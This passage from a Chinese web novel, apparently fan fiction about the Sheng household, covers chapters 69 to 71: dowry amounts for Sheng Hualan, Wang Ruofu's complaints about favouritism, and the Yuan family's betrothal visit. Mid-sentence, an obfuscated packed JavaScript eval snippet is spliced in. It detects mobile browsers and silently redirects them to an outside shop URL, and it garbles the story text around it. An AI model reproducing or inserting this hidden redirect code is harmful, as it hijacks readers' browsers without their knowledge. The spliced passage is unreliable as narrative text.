盛老太太说到这里,忍不住叮嘱道:“瑾儿,你也别怪母亲多嘴,除了你女儿明儿的婚事以外,华儿、如儿、墨儿乃至盛家大房三房的女儿们,她们的婚事,你都不能插手,你只是她们的伯父、堂伯父、堂叔父,自古父母之命媒妁之言,她们有自己亲生父母操心,你若插手这如淑姐儿那般好了也就罢了,若不好那么他们就该埋怨你了,况且世人之言不可不畏。” 盛瑾见盛老太太这么说,也知道她是关心自己,于是他装出一副严肃的神情来安抚盛老太太,道:“母亲放心,儿子会谨记母亲之言。” 盛老太太见盛瑾这副神态,不禁莞尔一笑,语气柔和,道:“瑾儿,你不用这般严肃,我知道你听进去了就好,你真的无需担忧华儿婚后的日子,她是我看着长的,性子坚韧又有盘算,且沉着冷静,以她 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盛瑾听着盛老太太这么说,脸上浮现出一抹笑容,语气中带着些许调笑的意味,道:“母亲说的是,华姐儿是我们二房第一个出嫁的姑娘自然要重视些,府中给华姐儿置办的嫁妆,田产铺子不变,其他的按照原先的份额再添上三成,另外,我再以我和云儿的名义给华姐儿添妆,不过,当初云儿给婷儿添妆时并未动用府中姑娘的份额,而是动用的我们两人的私产,我和云儿对于婷儿的感情十分深厚,因而给婷儿的添妆都是按最好的嫁妆来置办,当然,我不可能照搬婷儿的添妆数额来给华姐儿添妆,便想询问一下母亲要给华姐儿添多少来拿个主意,毕竟这添多添少都要有个分寸。” 盛老太太自是不会说盛瑾什么的,毕竟白滢婷和盛瑾慕卿云什么感情,盛华兰和盛瑾慕卿云又是什么感情,这不好对比的,她沉思了一下,直言道:“我早年定下了个规矩,每个孙女出嫁,无论嫡庶,我都额外给贴补嫁妆银子一千五百两,至于孙子,嫡子,我额外给贴补一千五百两,庶子,我额外给贴补八百两,可正如你所说的,五根手指都有长短,人难免有个亲疏,这华儿是在我膝下长大的,我自是不会只给一千五百两银子,不仅是华儿,到时候明儿也是一样的,虽说明儿已经有了媳妇留下来的一成嫁妆,但她是我的嫡亲孙女,将来又是由我养大的,我绝对不会少了她的那份。” 盛老太太说到这里,语气中带着一丝打趣的意味,道:“瑾儿,你放心,我给明儿的添妆决计不会比华儿少的,况且瞧着白大哥和婷儿对明儿的疼爱,他们将来给明儿的添妆估计也不会少到哪里去,这还不加上宥阳老家和你弟弟给的,以及你准备的嫁妆,这以后谁娶了明儿,那可真是娶了一座小金山了。” 盛瑾听到盛老太太在调侃他,嘴角微微弯起也不甚在意,转移话题,道:“母亲虽说自己给一千五百两银子,但我这个伯父怕是不能照着母亲这般添妆,我同母亲一般规定下来,以云儿和我的名义给每个侄女贴补七千两嫁妆银子,侄子那边,嫡出的贴补七千两,庶出的贴补五千两,当然,也不排除私底下再多贴补一下。”他用调侃的语气说出最后一句话。 盛瑾眼含笑意的看着盛老太太,继续道:“华姐儿是母亲养大的,我和她相处了一年,这孩子乖乖巧巧的,惹人疼爱,我打算给华姐儿添妆三万两银子、一间汴州城的铺子、三份分配红利的契劵、三匹缂丝、三十匹颜色不同的锦缎、两只千年人参、五件成色极好的珠钗首饰,母亲觉得如何呢?” 在世人眼里,盛瑾这个伯父做的已经够好了,不仅按丰国公府姑娘哥儿的份额给侄子侄女出嫁妆聘礼,还额外以他和慕卿云的名义添妆贴补丰厚的银钱,这些个东西比盛纮和王若弗置办的嫁妆还要多得多,不过,若是跟慕卿云和盛瑾当年给白滢婷的添妆相比还是差远了,当然,盛纮若是再生十几个女儿儿子八成能持平。 盛老太太显然很清楚这一点,可她并没有觉得这有什么错,毕竟她儿子媳妇当初可是拿白滢婷当自家女儿般疼爱的,盛瑾自从和白老爷认了干亲,便一直与白滢婷保持联系,想当初白滢婷可是每每有空便给盛瑾绣些小东西,然后,每半年就将这些东西和一些吃的用的给盛瑾寄去,直到她成婚才停止,而慕卿云去世时,也是白滢婷强忍悲伤帮着盛瑾操持慕卿云的后事,白滢婷之后更是时时上门看望盛瑾和盛长轩,并帮盛瑾照顾盛长轩,他们之间二十几年的感情可不是这些刚认回来没几年的侄子侄女能比的。 盛老太太自然知道这人和人的感情是处出来的道理,不说别的,就这几年和白滢婷的相处,她也觉着这干女儿十分贴心,难怪自己儿子媳妇拿她当亲生女儿般对待,况且她可不想自己儿子当冤大头,盛瑾和盛纮的几个孩子都没相处过,凭什么要求他将盛纮和盛纮的儿女放在与白滢婷相同的位子,盛瑾的钱又不是大风刮来的,更何况盛纮手里有盛家二房全部的家产,即便盛纮从中拨出一些给林噙霜伴身,可那只是少部分,除去这部分,每年收入至少七千多两,比上不足比下有余,再加上王若弗管家得当每年都有剩余银钱,盛纮是绝对不会亏待自己的孩子的。 盛老太太面带微笑,语气柔和,道:“瑾儿,你不用担心母亲会说什么,我又不是那迂腐的老童生,你与婷儿感情深厚,我不会要求你将华儿他们放在和婷儿相同的地位上,我知道你给华儿这么多添妆,不单单是觉得华儿惹人疼爱,还有是为了我着想,这般已经很好了,余下的就看你是否与他们投缘吧。” 盛瑾面带微笑,语气中满是调侃的意味,道:“母亲实在是深明大义啊!儿子为有这样一个母亲而感动荣幸。” 盛老太太装作要打盛瑾的样子,语气中带着些许笑意,道:“瑾儿,你竟然感调侃母亲,看我打不打你。”而盛瑾则是瞬间向盛老太太求饶,屋内一片祥和。 等盛瑾回到自己的院子后,便派人将给盛华兰的添妆收拾妥当送到了盛老太太手上,其中的五件珠钗首饰分别是一支红宝石雕凤头钗、一支金累丝嵌宝石白玉送子观音步摇、一支金累丝衔珠蝶形簪、一个金镶玉嵌珠宝手镯、一对红翡翠滴珠耳环,这些个都是盛瑾挑好宝石让空间中的机器人帮忙制作的,效率高又精巧,将盛老太太看得连连称赞这些个珠钗首饰之精美。 没过多久后,邱家和吕家也收到了盛纮的回信,当得知盛华兰已被许给袁家时,双方都松了口气,只要不是到对方阵营中就行了,尤其是邱大人的大娘子直接将心里的大石头放下来了,她是真不想找一个六品通判的嫡长女做媳妇啊!虽然她是盛国公的侄女,但到底也只是个侄女,又不是亲生女儿,能得到多少助力呢,现下好了,许了袁家,谁都说不得什么了,可是这位邱大人的大娘子在参加完盛华兰的婚事后又心生悔意,这都是后话了。 70.第 70 章 清晨,汴州城丰国公府,盛华兰一脸羞红的从盛老太太的院子中回到自己的院子里,待她回到屋内坐下,彩簪瞧着盛华兰这般,忍不住开口道:“姑娘,老太太和你说了什么,怎么你从老太太院中回来脸蛋如此通红呢?” 盛华兰看了一眼彩簪,平复了一下心情,莞尔一笑,道:“没什么,我就是有些激动,祖母告诉我,二伯父为父亲去吏部询问了一些事情,若无意外的话,今年父亲就能调回到汴州城,这样我也能见到他们了。” 盛华兰还没傻到和人说她与袁家嫡次子定亲的事情,毕竟袁家还没下聘呢,再者,她一个未婚姑娘提这些个事情难免有些羞涩,还不如装作不知道呢,反正盛老太太也只是告诉了她和盛瑾两人,不过,她想起盛老太太说的话“你二伯父想着你必是希望自己成婚时父母皆在场,前些天,他去吏部打听了一下你父亲的事情,若无意外,你父亲今年就能回到汴州城了。” 盛华兰心里对于盛瑾是十分感激的,她是个聪慧的,从盛老太太的话中可以听出盛瑾肯定不单单是询问了一两句,要不然,也不会有盛纮今年就能调回汴州城的事情,相较于自己和袁家定亲的事情,显然盛纮一家能调回汴州城更让她感到开心,如今彩簪问起,也正好拿这件事情搪塞过去。 彩簪还是有些小聪明的,她看出盛华兰肯定不是因为这件事情激动的脸红,可瞧着盛华兰不愿多说的样子,便没有再多说什么,而翠蝉十分有眼色的将桌上一碟子荔枝端到离盛华兰最近的地方,面带微笑,语气柔和,道:“姑娘快尝尝这荔枝味道如何呢?” 盛华兰闻言,眼中闪过一丝惊讶,随即快速恢复神情的同时,顺手拿起一颗荔枝剥皮放入嘴中,道:“这荔枝可真甜,翠蝉、彩簪、彩莲你们都尝尝吧。” 翠蝉、彩簪、彩莲听着盛华兰的话,每人拿起碟中的一颗荔枝尝起来,只见彩莲眯着眼睛,语气中尽是满足的意味,道:“姑娘,这荔枝真好吃,就是少了点,一碟才十五颗。” 盛华兰眼中闪过一丝笑意,语气中带着些许柔和,道:“不少了,荔枝本就是个稀罕物,这个时候能吃到荔枝怕是费了不少银钱了。” 翠蝉顺着盛华兰的话,道:“姑娘说的是,这荔枝是那商人精挑细选的,听说比寻常荔枝还要清甜爽脆,再加上全汴州城现下就他家有荔枝卖,一颗荔枝买到了五百文的高价,这一碟子都值七两半银子了。” 彩莲满脸震惊的看着翠蝉,倒抽了口凉气,语气微微上扬,道:“一颗五百文,这到底是荔枝还是金子啊!那商人怎么不去抢呢,这往常最贵也才一百多文一颗啊!” 盛华兰被彩莲的表情给逗乐了,语气中带着些许笑意,道:“你啊!你,这个荔枝一看就和我们往常吃的不同,口感也比先前那些好上不少,物以稀为贵,再加之汴州城是在天子脚下,富贵人家多,卖这种荔枝赚得的银钱可比抢银钱来得快些。” 彩莲听着盛华兰的话,脸上的表情仍保持着不可置信的样子,而盛华兰等人则是站在一旁打趣了她几句后又聊起了其他话题,屋内的气氛也活跃了许多,同样的事情也在盛瑾那边发生了。 盛瑾拿着一颗荔枝左看右看也不觉得它能值五百文,只能感慨古代交通不便导致某些水果价钱居高不下,随即又想到自己在汴州城的某个皇庄上种的那些个果树,思考着要不要再加种一些荔枝树等稀有果树进去,他自我解释道:“我可不是为了省银子才种的果树,纯粹是母亲她们喜欢吃。” 盛瑾这般想着立马计划让盛俊从空间中取出荔枝树和其他果树树种,每种果树树种取三棵搬到丰国公府那处皇庄上去种,说实在的,不知道是不是盛瑾和盛昀这个管家机器人待久的原因,每次只要是他觉得能搞出来的东西,便想要弄个地方专门种植或制作这些个东西来自用和销售,毕竟丰国公府的那三处制造坊就是盛昀化身慕卿云管家时克制后的结果,当初他改造丰国公府时,盛昀为此还搞出了个花圃及其相关的铺子,好在盛老太太并不知道他的想法,要不然,盛老太太八成会笑话他好一阵子呢,不过,此时的她正忙着给盛华兰挑选田产铺子。 时间转瞬即逝,扬州城盛家,盛纮这边收到了袁伯爷的信件,信中表明了他想要下聘的时间,虽然现下距离下聘的时间有些紧凑,但免得夜长梦多,他也回信同意了下聘的时间,而后不久又接到了盛瑾和盛老太太的信件,只见他的神情随着盛瑾的信件内容逐渐狂喜起来。 等盛纮耐下性子看完盛瑾和盛老太太的信件后,他嘴角的弧度从早上到下午就没有弯下来过,作为他枕边人的王若弗自然而然能感觉到他的好心情,待到晚上时,她再也忍不住心中的好奇心,道:“官人,今天是发生什么喜事了嘛,怎么你这一整天都十分开心啊!” 盛纮听到王若弗的询问,实在压抑不住内心的喜悦,他与王若弗分享道:“二哥哥说华儿若是从丰国公府出嫁,我们做父母的不好不在场,因而他去找了吏部尚书询问我的政绩和调动相关的事情,吏部尚书说若是我今年表现尚佳便可调往汴州城了。” 王若弗脸上浮现出灿烂的笑容,语气中满是喜悦,道:“官人,那若不出意外,我们很快就能见到华儿了,这可真是个好消息啊!” 王若弗看着盛纮嘴角微微弯起,自知他心情不错,便大着胆子继续道:“官人,二哥哥有没有在信中说起华儿嫁妆的事情呢?” 盛纮因着心情不错,对王若弗的话也没什么感觉,直言道:“二哥哥在信中并没提起华儿的嫁妆,倒是母亲的信里提到了。” 盛纮看着王若弗满脸好奇的样子,也没卖什么关子,继续道:“二哥哥让母亲在先前说定的府中给姑娘置办嫁妆份额上增添了不少,除去一百亩水田和一间铺子外,其余的均在原来的基础上再添三成,也就是说从丰国公府中馈中给华儿出一百亩水田和一间铺子、六千五百两嫁妆银子、购置嫁妆物品的两千六百两份额,不过,若是从丰国公府的库房挑选嫁妆物品则不能超过三千九百两,另外,二哥哥还以他和二嫂嫂的名义给每个姑娘额外贴补七千两嫁妆银子。” 盛纮对此毫无异议,对于他而言,他已经拥有了盛家二房全部的家产,即便盛瑾比他富有的多,但那都是盛瑾自己挣下的和他师傅给的,与他盛纮无关,盛瑾愿意给是情分,不给是本分,毕竟盛瑾若是不愿给,谁也说不了什么,再说了,他心里十分清楚盛瑾按照府中姑娘嫁妆份额给他的女儿们置办的嫁妆已经算得上是极其丰厚,况且盛瑾还在原基础上给盛华兰多添了些的同时,还以盛瑾和慕卿云的名义给盛华兰添了七千两嫁妆银子,当然,他怀疑盛瑾会因着盛华兰是盛老太太养大的私下再添不少,不过,这种没有根据的话还是不说的好,更何况他也不是什么不知分寸的人,盛瑾这般待他已经是十分宽厚了。 盛纮有自知之明,可不代表王若弗也这般认为,她微微皱眉,语气中带有一丝不满,道:“官人,端淑县主当年也是按着这个份额置办嫁妆嘛。” 盛纮自然听出了王若弗的言外之意,他脸上的表情变得平淡了些,显然对王若弗的话感到不满,他想起盛老太太在信中提到的端淑县主的嫁妆是盛瑾和慕卿云拿他们的私产置办这一点,不由得在心中感叹道:“母亲果真是料事如神啊!” 盛纮眼神中带着些许冷意的看着王若弗,语气平淡,道:“端淑县主的嫁妆可没有动用丰国公府的中馈,全是二哥哥和二嫂嫂拿他们的私产置办的,难不成你还惦念着二哥哥和二嫂嫂的私产了。” 王若弗显然没听出盛纮话中的意思,她语气中带着一丝抱怨,道:“官人说的什么话,我哪会惦念二哥哥和二嫂嫂的私产啊!我只不过想着二哥哥和故去的二嫂嫂到底是华儿的伯父伯母,他们当时既然给端淑县主这个义妹置办了极其丰厚的嫁妆,那也不好厚此薄彼,让华儿这个侄女比端淑县主少太多吧,虽说二嫂嫂已经逝世,但二哥哥还在,可二哥哥这事办的真不咋地,既然都以他们的名义给华儿添妆,那怎么能让华儿和端淑县主差距这么多呢,官人,我有这种想法也没什么错的。” 盛纮眼中带着一丝嘲讽,语气微微上扬,道:“没什么错,呵呵,我们华儿哪比的过人家端淑县主和二哥哥二嫂嫂的感情,添妆是情分不是本分,再说了,二哥哥不仅按着府中姑娘出嫁的嫁妆份额给我们家的女儿们置办了一份丰厚的嫁妆,还以他和二嫂嫂的名义额外贴补了七千两银子,这七千两银子都快赶上我们家田产铺子一年的收入了,你还想让二哥哥怎么做啊!莫不是将他的全部私产给了华儿才好,你怕是在做什么白日梦吧,你摸着良心说,我们两个给华儿置办的嫁妆能比二哥哥给的这份多嘛。” 王若弗就算再迟钝也能听着盛纮此时的语气有些不妙,但她还是不甘心的作死道:“官人,我也是为了我们的华儿着想,这忠勤伯爵府被陛下褫夺了十年的银米俸禄,府中的日子说不得还比不上我们盛家好过呢,华儿的嫁妆越多,她在袁家的日子就越好过,这腰杆子也就越硬啊!” 盛纮神情中带着些许恼怒,语气不悦道:“置办嫁妆本就是我们做父母的事情,哪能全靠二哥哥来帮衬,俗话说得好,人有多少能力就办多少事,我们尽力而为就好,再者,二哥哥将盛家的家产全让给了我,我们不能不知足,我告诉你不止是二哥哥,还有母亲,她们愿意给华儿多少添妆是她们自己的事情,你决计不能伸手向她们索取,要不然,我和你没完。”他说完,便拂袖离去了。 刘妈妈见盛纮已经走出了院子,急忙上前对着王若弗低声道:“我的大娘子,你怎么能对主君说这些个话,你是真糊涂还是假糊涂,这些个话也能说的出口,若是传到了外面,少不得要落人口舌啊!” 王若弗本来就被盛纮突如其来的脾气吓到了,又听到刘妈妈的话,语气中带着些许委屈,道:“我也是为了华儿着想嘛,二姐姐(王若弗)说那丰国公府高门显贵,二哥哥家底丰厚,二嫂嫂又有十三艘大船的嫁妆留在丰国公府,二哥哥自是不差这点子银钱,当年二哥哥和二嫂嫂给端淑县主置办了极其丰厚的嫁妆,听顾家人说那端淑县主嫁妆中的田产铺子比起顾家四房五房分得的家产还要多,更何况二嫂嫂去世时还写下遗书给端淑县主留了不少好东西,这华儿是他们的侄女怎么也不能比端淑县主差到哪去吧。” 王若弗说到这里,顿时觉得自己占了些许道理,语气中带着些许底气,道:“官人说的轻巧,若是光靠我们,怎么能给华儿置办出端淑县主那样的嫁妆啊!可不是要靠着二哥哥些嘛,不过,二哥哥也真是的,我原以为他会给华儿多添些嫁妆,到时候再加上大房和我们这边给华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666929|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的,华儿的嫁妆怎么着都不会比端淑县主差多少,没成想二哥哥只是按府中给姑娘的嫁妆份额上多添些和贴补七千两嫁妆银子,二姐姐说的话也不无道理,华儿才是二哥哥正经有血缘的侄女,他给华儿的添妆怎么能比那没有血缘的义妹少这么多啊!”她用恶恶狠狠且抱怨的语气说出最后一句。 王若弗觉着盛瑾给盛华兰的嫁妆对比起他给白滢婷的嫁妆来说不知道差了多少,就算加上盛瑾给盛家所有孩子置办的嫁妆和聘礼,也比不过他和慕卿云当初给白滢婷添妆的毛毛雨,她心里知道惦记着盛瑾给盛华兰多出嫁妆这件事情不太有理,但架不住王若与给她洗了下脑子,硬生生的让她觉得这件事情是合理且应该的。 刘妈妈闻言,双目微微睁大,语气略微上扬,道:“我的大娘子啊!你在想什么呢,居然还想要给大姑娘置办出端淑县主那样的嫁妆,那可是盛国公夫妇和白老爷合力置办出来的,就算主君将整个盛家的家产全给大姑娘都不一定比得上端淑县主嫁妆中的一半啊!” 刘妈妈明面上这么说,心里却暗骂王若与道:“这个康大娘子自己家一摊子烂事,居然还有闲心来搅和我家大娘子的家事,真真是与原来未出嫁时没什么两样,盼不得我家大娘子一点好。” 刘妈妈想到这里,急忙开始劝解王若弗道:“大娘子,话可不是这么说的,那国公爷和端淑县主可是二十几年的感情了,不是亲兄妹胜似亲兄妹啊!莫说是我们大姑娘了,就是主君也比不上端淑县主在国公爷心中的地位,再说了,大娘子你想想,若是国公爷现下让你将自己的大笔嫁妆拿出来给明姐儿用,你能同意嘛。” 王若弗皱着眉头,立即反驳道:“怎么可能,那明姐儿与我没有血缘关系又不甚亲近,我怎么可能拿大笔嫁妆贴补她啊!” 王若弗当即回味过来有哪里不对劲,但又死鸭子嘴硬道:“我的嫁妆哪能和二哥哥的家产比啊!这二哥哥手缝里漏些出来都比我的嫁妆强。” 刘妈妈知道王若弗心里回味过来这不合理,但碍于面子不好说出口,她微微一笑,道:“大娘子,你最是明理的,正如主君所说的,国公爷和老太太愿意给是出于情分而非本分,无论怎么样,我们都得念着老太太和国公爷的好,你想想大姑娘给大娘子你的书信中写了不少她在汴州城的事情,可见国公爷和老太太待大姑娘不错,我们要念着他们的好,而非为了些不合理的事情疏远了他们,这对我们主君一脉可没什么好处啊!” 刘妈妈瞧着王若弗的脸色有些不甘,继续道:“大娘子,我们家大姑娘可是老太太养大的,难不成老太太不会私下补贴些给大姑娘嘛,况且国公爷可没有说自己私底下不会再给大姑娘贴补一二,如今这些不过是府中中馈出的嫁妆和国公夫妇名义上的添妆,我们与其胡思乱想,还不如待到那时候再看看情况,若是国公爷私下再贴补大姑娘一二,那自是更好,若是没有我们也念着国公爷的恩情,毕竟府中中馈给大姑娘出了份嫁妆,这样相当是国公爷出的。” 刘妈妈看着王若弗神情平复了许多,接着乘胜追击道:“大娘子,大姑娘的嫁妆虽比不得端淑县主,但也比得上不少勋贵人家姑娘的嫁妆,先不说大房和国公爷那边出多少添妆,就主君这边给大姑娘的可不少,主君不仅将家中中馈剩余银钱的七成拿来给大姑娘置办嫁妆,还从盛家家产中拨出七百亩汴州城的水田给大姑娘当嫁妆,再加上大娘子你这些年给大姑娘攒的东西,少说都价值一万五千两银钱。” 王若弗此时已经冷静下来了,她知道自己的话有多无理,可嘴上还是嘟嚷道:“说到底华儿的嫁妆怎么样都比不过二哥哥和二嫂嫂给端淑县主的东西。” 刘妈妈面不改色,心里却想道:“哎呦,大娘子啊!你还和端淑县主比什么啊!她可是和国公爷相处了二十几年啊!就连逝世的国公夫人也是拿她当女儿疼爱的,更何况当初国公夫人逝世后,可是端淑县主帮着国公爷照顾的轩哥儿啊!论亲疏,在国公爷和轩哥儿那,我们主君一家是疏,端淑县主一家才是亲啊!” 刘妈妈见王若弗自己嘟嚷了几句话后便不说话了,她悬着的心也放下了,随即便笑着转移话题,让王若弗别在关注盛瑾添妆这件事情了,而王若弗也随她所愿将这件事情抛之脑后了,不过,几天后她又不甘心的派人去打听盛瑾给盛淑兰多少添妆,得到的结果是盛瑾以盛老太太和他、慕卿云的名义给了盛淑兰两万两银子外加两匹缂丝和一套可以传家的头面作为添妆,这个结果让她心里舒坦了许多,若是盛瑾私底下再给盛华兰添妆,因着盛华兰在盛老太太膝下养大这一条,怎么着都不会比给盛淑兰的少,若是没有,那丰国公府中馈出的嫁妆和盛瑾贴补的嫁妆银子、盛老太太给盛华兰的添妆加起来也比给盛淑兰的添妆多,只要比过李氏,她这心里就舒坦了。 王若弗想着想着也不知道想到了什么,居然比以往更勤快的给盛老太太去信,每次她让人送信时都会附带一车子扬州城的特产给盛老太太她们,那存在感刷的足足的,搞得盛老太太对这个不太聪明的媳妇多了几分好印象,因而盛华兰有时给王若弗送信时,盛老太太还会挑些汴州城时兴的首饰玩意给王若弗及其家中的姑娘们,这形成了一个良性循环,导致盛老太太和盛瑾在盛如兰和盛墨兰心目中的形象渐渐变得亲近起来,这都是后话了。 71.第 71 章 清晨,扬州城盛家内一片热闹,因为今天是汴州城的忠勤伯爵府为嫡次子求娶扬州城通判盛纮嫡长女而下聘的日子。 王若弗正在梳妆打扮,为的是能以最好的状态接待袁伯爷夫妇,可就在这时,盛纮突然得到来下聘礼的只有袁文纯夫妇这个消息,其缘由是袁伯夫人大章氏顿感身体不适,不能来扬州城亲自下聘,连带着拉上袁伯爷,说是袁伯爷担忧自己大娘子的身子留下来照顾她。 袁家的理由看上去没有任何问题,可实着任谁都能看出这位忠勤伯爵府的袁伯夫人是想给盛家难看,或是说想给盛华兰一个下马威。 盛纮听完这个消息,脸一下就黑了,临近下聘的日子闹出这种事情让大章氏在他心目中的形象大减,至少这些年来没人给他难堪,尤其是盛家多了个国公爷后,他的日子就一直过的十分舒心,不过,他也知道现下不是想这些的时候,当务之急是如何让王若弗不发火。 盛纮思虑片刻走进王若弗的屋内,瞧见王若弗正在梳洗打扮,咬了咬牙,调整了一下面部表情,随即大步走到王若弗身边,脸上带着一丝讨好的表情,语气柔和的将这个消息细细告知了王若弗,果然,盛纮刚说完,王若弗一下从椅子上站起来,满脸怒气,大有一副要冲到袁家理论的气势,道:“不嫁了,不嫁了,我不要这聘礼,他们袁家搞这种花头,何必聘船靠岸,不如现在就掉头回去与他家父亲说,我们盛家女儿不稀罕他们伯爵府,不就是一个伯爵府嘛,我们盛家还是国公府呢,真当我们盛家女儿没人要,只能嫁给他们袁家嘛。” 王若弗说到这里,随即又将枪口对准了盛纮,大吼道:“这就是你为华儿谈的好婚事,说定了伯爵夫妇来扬州城下聘,现下只支配了个大郎袁文纯就打发了,你在我面前说的花一般好,什么如今汴州城内为立储之事闹得一团乱,最好别同那些搅和的门户结亲,什么忠勤伯爵府的袁家受过冷落,所以他们家的子孙便比一般的能干懂事,什么你亲自看过袁文绍那孩子,很是沉稳识礼、威风凛凛,如今袁家还真是威风凛凛啊!我告诉你华儿是我头生的女儿,谁都别想刻薄了她去,若是把我惹急了,我上汴州城找二哥哥和母亲做主去。” 王若弗气喘吁吁的坐在梳妆台前,一旁有个没眼色的丫鬟上来给她簪簪子,她一把拍开那个丫鬟的手,气冲冲道:“呀,别簪了,簪什么簪。”她说完便扭过头去不看盛纮一眼。 盛纮瞧着王若弗这般,想着如今袁家的聘船还在码头,若是待的太久了少不得丢盛家的脸面,于是他走到王若弗身边,面带忧伤,语气中带着些许伤感的意味,道:“我的大娘子,这话说的真让我伤心啊!我怎么就不疼华儿了,我当初说的话,大娘子都忘了嘛,华儿从小生活的就比那几个孩子苦,可偏偏她又是几个孩子中最贴心懂事的,这几个孩子中我最疼她,我选忠勤伯爵府的袁文绍,不过是希望她能有个上进的夫婿,一生安心顺遂。” 王若弗被盛纮说得有些意动,但一想到袁家如此行事,她心中还是十分气愤,便沉着脸坐着不动,而盛纮见状,从梳妆台上拿起一支簪子,抬手给王若弗簪上,语气柔和且宠溺,道:“大娘子,为夫给你簪上簪子。” 盛纮给了王若弗台阶下,继续道:“这聘礼都靠岸了,一群人在那围观,我已让柏哥儿过去了,院子里满是扬州城的官眷和大户人家的大娘子,袁家失信,我们盛家可不能失信,这满院的宾客还等着我们呢。” 王若弗眼眶泛红,语气中带着些许委屈,哽咽道:“富不富贵的,我不在乎,那袁家若是欺负我华儿,我就去找他们拼命。” 盛纮闻言,赶忙附和道:“何止是你,我第一个找他们袁家拼命去,再说了,有二哥哥和母亲在,袁家若是欺负华儿,我们就去找二哥哥和母亲做主。” 盛纮说完,便将目光转向一旁的丫鬟身上,神情庄严,道:“看什么看,还不快点给大娘子上妆啊!” 盛纮不知道袁伯爷和袁文纯夫妇心里也为这件事情担忧,毕竟这次的事情本来就是大章氏弄出来的,他们实在是不害怕盛纮悔婚,他们只是害怕盛纮告知盛瑾,让盛瑾知道了,还不得找袁家的麻烦,袁家可不是顾家啊!况且盛纮是不敢悔婚,但盛瑾可敢啊!还好,盛纮没有计较,一切照常了。 袁伯爷派嫡长子夫妇下聘,盛纮也派嫡长子来接,算是两家都不丢面子,袁家和盛家下聘的事情就这么圆满结束了,并没有闹出什么笑话传到汴州城去,没过多久,盛纮调离扬州城的通知也下达了。 盛纮将这件事情告诉了王若弗,让王若弗在离开扬州城前将所有事情处理妥当,因而这些天盛家十分忙碌,准确来说是王若弗十分忙碌,只见王若弗交代身边的丫鬟,道:“告诉家中签了活契的女使小厮们,若是有想要留在扬州城的,年纪到了的,每人领五两银子拿着卖身契走人,年纪不到的,女使赎身银子十五两,小厮赎身银子二十两。” 王若弗瞧着那丫鬟微微点头后离开,她揉了揉额头,语气中带着些许抱怨的意味,道:“母亲也真是的,好好的宅子卖什么啊!留着不好嘛。” 刘妈妈神情柔和,语气中带着些许安抚的意味,道:“大娘子,老太太也是为我们这一房着想,主君调到汴州城后什么时候再回扬州城都是个未知数,这么个大宅子留在扬州城少不得要留人打理,这每年打理的费用可不少,还不如按着老太太的意思,我们拿着卖宅子的银钱去汴州城置办个小些的庄子,这家中每年还能多些进项,岂不比留着这花钱打理的宅子强上不少,况且丰国公府的规矩多,这府中吃穿用度都是有份额的,若是大娘子想要什么,少不得要自己添些银钱去外面采购,多些收入也是好的。” 王若弗闻言,叹了口气道:“我也知道母亲的想法好,如今只不过是因着有些操劳抱怨几句,没有其他什么意思,不过,你说的也有道理,二哥哥虽说我们这一房的吃穿用度由丰国公府中馈来出,但官人和柏哥儿他们在外交际、我们参加宴会备礼等一些事情所需的银钱肯定不能从府中支取,还是多挣些银钱的好。” 王若弗突然想到了什么,咬了咬牙,道:“官人还嘱咐我等到了汴州城就早些买庄子,瞧着是想将林噙霜那贱人一同接到汴州城去,那狐媚子就算是住到了扬州城外的庄子都勾着官人对她念念不忘,原先官人每月去庄子见她几次,我都忍了,现下居然还想将她带到汴州城去,官人是真不怕二哥哥隔应嘛。” 刘妈妈瞧着王若弗这般,语气柔和的安抚道:“大娘子,莫要生气,等到了汴州城,我们这一房与国公爷同住一个屋檐下,主君就是再想林小娘也不敢像这般放肆,况且大娘子现下最重要的是将家中的事情处理好,大姑娘还在汴州城等着大娘子呢。” 王若弗听到刘妈妈提起盛华兰,随即便将林噙霜抛之脑后,道:“你说的对,华儿还在汴州城等着我呢,我可要快些将这些个事情处理好。” 刘妈妈见状,面带微笑,附和道:“大娘子说的是,等大娘子到了汴州城可有的忙了,这大姑娘的嫁妆可是需要你去操持啊!大姑娘从丰国公府出嫁本就有体面,若是这嫁妆置办得当,那大姑娘岂不是更有体面,再者,大娘子算得上是丰国公府第二位女主人了,等大姑娘出嫁后,汴州城的勋贵世家必定知道我们家主君和国公爷之间兄弟情深,到时候大娘子在外交际,这些人家的大娘子少不得要给你几分面子。” 王若弗已经沉浸在刘妈妈的话中了,她不由的点了点头,感慨道:“这合府居住除了有些不自在外,好处是真不少啊!” 刘妈妈看着王若弗这般,语气柔和,道:“谁说不是呢?正好我们五姑娘如今性子收敛些,若是能与二哥儿一同亲近国公爷自是最好的,毕竟这在国公爷眼皮子底下长的和不在他身边长大的还是不同的。” 王若弗思考了一下刘妈妈的话,感觉十分有道理,但她一想到盛如兰那性子,叹了口气道:“柏儿向来敬仰二哥哥和轩哥儿,同住一府,他若读书时有什么困惑定是会寻求二哥哥的指点,这一来二去交际多了,自然会和二哥哥亲近起来,可如儿我就不怎么放心了,虽说她性子如今收敛了些,但大抵还是容易冲动,我不求她和二哥哥亲近,只求她不要跟明姐儿发生什么矛盾,不然我就该担心她得罪二哥哥了。” 刘妈妈见王若弗这么说,也不好再说什么,只能安静的听着王若弗发牢骚,与此同时,远在汴州城的盛老太太在不久后与盛瑾商讨着将她的好友孔嬷嬷请来教导家中姑娘的礼仪,只见盛老太太语气柔和,道:“我在宫中曾有过一位交好的宫女,外人称之为孔嬷嬷,原是山东孔府旁支后人,她先前一直在宫中六局当女官,前几年才因病老请辞出宫。” 盛老太太眼含笑意,扇着手中的扇子,道:“这孔嬷嬷算得上宫里出来的老人儿,为人有涵养有规矩又知书达礼,这汴州城有不少人家曾请她去教导过自家姑娘,我想着这华儿以后是要嫁入忠勤伯爵府的,少不得要学些宫里的规矩礼仪,免得让袁伯夫人笑话我们盛家的规矩,再加之你弟弟弟妹要带着哥儿姑娘们回来汴州城,正好如姐儿和墨姐儿如今也十二岁了,我想将她请到家中教导华儿规矩,顺带让如姐儿和墨姐儿一同旁听,当然,若是可以明儿也能一同旁听一下。” 